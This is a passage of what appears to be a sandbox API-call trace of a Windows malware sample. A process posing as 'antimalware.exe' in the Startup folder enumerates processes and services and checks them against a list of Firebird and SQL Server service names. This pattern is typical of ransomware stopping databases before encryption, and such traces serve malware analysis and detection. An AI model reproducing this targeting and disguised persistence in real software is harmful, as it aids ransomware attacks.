	[0055.892] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0055.893] lstrlenW (lpString="parents.exe") returned 11
	[0055.893] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0055.894] lstrlenW (lpString="charge.exe") returned 10
	[0055.894] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0055.895] lstrlenW (lpString="measures-provision.exe") returned 22
	[0055.895] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0055.895] lstrlenW (lpString="dllhost.exe") returned 11
	[0055.896] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.896] lstrlenW (lpString="conhost.exe") returned 11
	[0055.896] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.897] lstrlenW (lpString="conhost.exe") returned 11
	[0055.897] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0055.898] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0055.898] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0055.899] lstrlenW (lpString="cmd.exe") returned 7
	[0055.899] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.899] lstrlenW (lpString="conhost.exe") returned 11
	[0055.899] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.900] lstrlenW (lpString="svchost.exe") returned 11
	[0055.900] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0055.901] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0055.901] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.902] lstrlenW (lpString="conhost.exe") returned 11
	[0055.902] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0055.902] lstrlenW (lpString="mode.com") returned 8
	[0055.902] Process32NextW (in: hSnapshot=0x304, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0055.903] CloseHandle (hObject=0x304) returned 1
	[0055.903] Sleep (dwMilliseconds=0x1f4) 
	[0056.704] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fbe8
	[0056.704] EnumServicesStatusExW (in: hSCManager=0x68fbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0056.706] GetLastError () returned 0xea
	[0056.706] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x43d4cd0
	[0056.706] EnumServicesStatusExW (in: hSCManager=0x68fbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43d4cd0, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43d4cd0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0056.707] CloseServiceHandle (hSCObject=0x68fbe8) returned 1
	[0056.711] lstrlenW (lpString="Appinfo") returned 7
	[0056.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0056.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0056.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0056.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0056.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0056.711] lstrlenW (lpString="AppXSvc") returned 7
	[0056.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.711] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0056.712] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0056.712] lstrlenW (lpString="Audiosrv") returned 8
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0056.712] lstrlenW (lpString="BFE") returned 3
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0056.712] lstrlenW (lpString="BITS") returned 4
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0056.712] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0056.712] lstrlenW (lpString="CDPSvc") returned 6
	[0056.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.712] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0056.712] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0056.713] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0056.713] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0056.713] lstrlenW (lpString="CryptSvc") returned 8
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0056.713] lstrlenW (lpString="DcomLaunch") returned 10
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0056.713] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0056.713] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0056.713] lstrlenW (lpString="Dhcp") returned 4
	[0056.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0056.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0056.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0056.714] lstrlenW (lpString="Dnscache") returned 8
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0056.714] lstrlenW (lpString="DoSvc") returned 5
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0056.714] lstrlenW (lpString="DPS") returned 3
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0056.714] lstrlenW (lpString="DusmSvc") returned 7
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0056.714] lstrlenW (lpString="EventLog") returned 8
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0056.714] lstrlenW (lpString="EventSystem") returned 11
	[0056.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0056.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0056.714] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0056.714] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0056.715] lstrlenW (lpString="FontCache") returned 9
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0056.715] lstrlenW (lpString="gpsvc") returned 5
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0056.715] lstrlenW (lpString="iphlpsvc") returned 8
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0056.715] lstrlenW (lpString="KeyIso") returned 6
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0056.715] lstrlenW (lpString="LanmanServer") returned 12
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0056.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0056.715] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0056.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0056.715] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0056.715] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0056.716] lstrlenW (lpString="lfsvc") returned 5
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0056.716] lstrlenW (lpString="lmhosts") returned 7
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0056.716] lstrlenW (lpString="LSM") returned 3
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0056.716] lstrlenW (lpString="MapsBroker") returned 10
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0056.716] lstrlenW (lpString="MpsSvc") returned 6
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0056.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0056.716] lstrlenW (lpString="NcbService") returned 10
	[0056.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0056.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0056.716] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0056.716] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0056.717] lstrlenW (lpString="netprofm") returned 8
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0056.717] lstrlenW (lpString="NlaSvc") returned 6
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0056.717] lstrlenW (lpString="nsi") returned 3
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0056.717] lstrlenW (lpString="PcaSvc") returned 6
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0056.717] lstrlenW (lpString="PlugPlay") returned 8
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0056.717] lstrlenW (lpString="Power") returned 5
	[0056.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0056.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0056.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0056.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0056.718] lstrlenW (lpString="ProfSvc") returned 7
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0056.718] lstrlenW (lpString="RpcEptMapper") returned 12
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0056.718] lstrlenW (lpString="RpcSs") returned 5
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0056.718] lstrlenW (lpString="SamSs") returned 5
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
